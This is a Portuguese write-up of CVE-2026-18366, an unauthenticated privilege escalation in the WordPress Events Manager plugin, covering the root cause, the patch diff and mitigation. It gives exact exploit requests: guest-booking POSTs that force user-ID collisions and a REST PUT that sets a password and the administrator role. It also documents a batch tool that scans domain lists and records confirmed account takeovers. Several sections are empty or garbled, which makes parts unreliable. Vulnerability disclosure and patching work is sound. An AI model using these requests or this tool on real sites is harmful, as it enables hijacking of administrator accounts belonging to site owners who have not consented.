CVE-2026-18366 — Events Manager < 7.4.1: Escalação de Privilégios Não Autenticada para Administrador

Linha do tempo da divulgação

• 2026-08-03 — Events Manager 7.4.1 lançado com a correção (lançamento de segurança do fornecedor).
• 2026-08-12 — Publicada a entrada no IONIX Threat Center.
• 2026-08-21 — Este write-up e prova de conceito (poc.py).

Resumo

As versões 7.1.0 a 7.4.0.x do Events Manager contêm uma vulnerabilidade de escalada de privilégios que permite a um atacante completamente não autenticado assumir o controle de qualquer conta de usuário cujo ID colida com o ID de um dos posts do próprio plugin (event / location / event-recurring / location-recurring). A colisão pode ser forçada em sites com reservas de convidados (guest bookings) habilitadas (o padrão): cada reserva de convidado cria uma conta de usuário real e avança o contador de autoincremento do wp_users em um, permitindo que um atacante "caminhe" pelo espaço de IDs de usuário até atingir um ID de post de event/location.

A causa raiz: o filtro map_meta_cap do plugin descarta a lista de capacidades que o WordPress já havia calculado ($caps = []) para qualquer meta capacidade, sempre que o ID do objeto da capacidade resolve para um post de event/location — incluindo capacidades do núcleo do WordPress, como edit_user, delete_user, promote_user e remove_user. Uma lista de capacidades vazia é interpretada como "nenhuma capacidade necessária" — ou seja, permitido para todos, incluindo usuários desconectados.

Consequências (todas não autenticadas, via API REST do WP): alterar a senha de qualquer conta em colisão, escaloná-la para administrator ou excluí-la.

Versão analisada: 7.4.0.1 (vulnerável) — comparada (diff) com 7.4.1 (corrigida).

Versões afetadas

Causa raiz — map_meta_cap esvazia $caps

classes/em-archetypes.php (versão 7.4.0.1):

Consequência: toda verificação de current_user_can('edit_user', X) / delete_user / promote_user / remove_user retorna TRUE sempre que X é igual ao ID de um post de event/location. O plugin "descarta as decisões de controle de acesso que o WordPress já havia tomado" — exatamente como descrito pelo WPScan.

A correção na versão 7.4.1

Verificado comparando (diff) 7.4.0.1 com 7.4.1: a redefinição agora é protegida por uma correspondência exata de capacidade por ramo (ex.: && $c['read'][$post->post_type] == $cap), portanto $caps só é esvaziado quando a capacidade solicitada é realmente uma meta-capacidade de arquétipo. Comentário do patch: "Redefinir em qualquer capacidade que carregue objeto esvaziava a lista de requisitos para capacidades não relacionadas (ex.: edit_user, promote_user), o que era interpretado como permissão."

Impacto — operações administrativas expostas do núcleo do WordPress (sem login, via API REST)

Os endpoints REST de Usuários (/wp-json/wp/v2/users/{id}) não possuem barreira global de login — o controle de acesso é feito puramente por callbacks de permissão, todos passando pelo mesmo filtro map_meta_cap:

Efeito colateral: edit_comment também é afetado quando um ID de comentário coincide com um ID de post de event/location (a tabela wp_comments compartilha o espaço numérico).

Forçando a colisão de ID via reserva de convidado (ponto de entrada)

A colisão existe porque wp_users.ID e wp_posts.ID são sequências de autoincremento independentes que inevitavelmente se sobrepõem. Reservas de convidados forçam essa colisão:

• em-install.php:896 — dbem_bookings_anonymous = 1: reservas de convidados habilitadas por padrão; :871 dbem_bookings_registration_disable = 0 (registro habilitado).
• em-actions.php:340-344 — booking_add está em $booking_nopriv_actions → chamável sem login (via wp_ajax_nopriv_booking_add, prioridade 999999, linhas :817-830, ou wp_loaded :11).
• em-actions.php:360-375 — fluxo do booking_add: → → → → . (O nonce é apenas proteção contra CSRF — o nonce é renderizado no formulário público de reserva, portanto qualquer pessoa pode obtê-lo.)

Cadeia secundária observada durante a auditoria (atribuição de reserva via person_id) — events-manager.php:430-437 (em_load_event, $EM_Person a partir de $_REQUEST['person_id'] sem login), em-booking.php:1060-1072 (get_person() sobrescreve o person_id de uma nova reserva), em-booking.php:2004-2006 (can_manage() = TRUE para uma reserva sem ID), em-functions.php:448-449 — inalterado na versão 7.4.1; é um vetor separado (atribuição incorreta de reserva), não o núcleo deste CVE.

Exploração (não autenticada)

1. Determine o ID alvo. Enumere os IDs de posts públicos de event/location (permalinks, feeds, /wp-json/wp/v2/event ou força bruta sequencial de IDs). Digamos que o alvo seja N.

2. (Opcional — forçando a colisão) Envie reservas de convidado repetidas para que a próxima conta receba o ID N:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php?action=booking_add
     event_id=<E>&em_tickets[<T>][spaces]=1
     &user_email=attacker%40mail.com&user_name=Attacker
     &_wpnonce=<nonce from the public booking form>
   

   Cada POST → uma nova conta; a conta com ID N pertence ao atacante (a senha é enviada por e-mail para o endereço do atacante).

3. Escale para Administrador e altere a senha:

   root@kitploit:~

   PUT /wp-json/wp/v2/users/N
   Content-Type: application/json
   {"password":"Pwned123!","roles":["administrator"]}
   

   Os callbacks de permissão edit_user + promote_user passam porque get_post(N) resolve para um post de event/location → $caps = []. (Se uma — ex.: um administrador antigo — já possui o ID colidindo com um ID de post de event, o passo 2 é desnecessário; o atacante assume diretamente essa conta.)

Requisitos

• Events Manager 7.1 – 7.4.0.x instalado e ativo (os CPTs event/location registrados).
• Pelo menos um post de event/location (o ID dele é a chave da colisão).
• Reservas de convidados habilitadas (padrão) — necessárias apenas para forçar a colisão; sites que por acaso tenham uma conta cujo ID seja igual a um ID de post de event/location são diretamente atacáveis via REST.

Prova de Conceito — poc.py

poc.py é um PoC assíncrono em lote (asyncio + aiohttp) que, por alvo: obtém a impressão digital da versão do EM (restrita à faixa vulnerável [7.1, 7.4.1)), descobre IDs de posts do EM acessíveis externamente (sitemap do WP → /locations/, opcionalmente um rastreamento do formulário de reserva), testa os IDs descobertos quanto à existência de uma conta de usuário (a condição de colisão) e escalona aqueles que colidem — via canal REST, ou pelo canal wp-admin quando uma sessão é fornecida e o REST está bloqueado. Sem varredura cega de faixa de usuários, sem reservas de convidados, sem criação de contas.

O executor multiplexa todo o I/O em um único event loop (quase 0% de CPU quando limitado por I/O; -t limita a concorrência em vez de núcleos), verifica apenas blocos limitados de 64 KiB no início (head) no loop, transfere análises pesadas (XML do sitemap, pacote da página rastreada, formulário de perfil) para threads de trabalho via asyncio.to_thread e aplica o atraso de polidez em cada tentativa de página. A lógica de forçar a colisão em si permanece inalterada (mesmas barreiras, mesmos oráculos, mesma verificação).

py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

Requisitos: Python 3.9+, pip install aiohttp.

Os resultados são transmitidos para hasil.txt (assunções de controle confirmadas) e id-post.txt (todo domínio vulnerável onde IDs de posts do EM foram descobertos, com collision=yes/no/unknown).

Nota: este PoC foi reconstruído de forma independente a partir da análise estática do código-fonte da versão 7.4.0.1 e do diff do patch da 7.4.1 — ele não é o PoC do WPScan.

SOMENTE TESTES DE SEGURANÇA AUTORIZADOS. Execute exclusivamente contra sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar. O PoC realiza requisições HTTP simples — sem evasão; pode ser visível em logs/IDS.

Mitigação

• Atualize para o Events Manager 7.4.1 ou posterior.
• Provisoriamente: desative reservas de convidados (dbem_bookings_anonymous), restrinja os endpoints REST de usuários no nível do WAF e monitore alterações de senha, escalonamentos de função e exclusões de contas.

Créditos

• Descoberta da vulnerabilidade: Jakub Herman (creditado pelo WPScan)
• Write-up e PoC: ghostpel

Referências

• WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
• IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
• VulDB: https://vuldb.com/cve/CVE-2026-18366
• OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
• Stack.watch: https://stack.watch/vuln/CVE-2026-18366/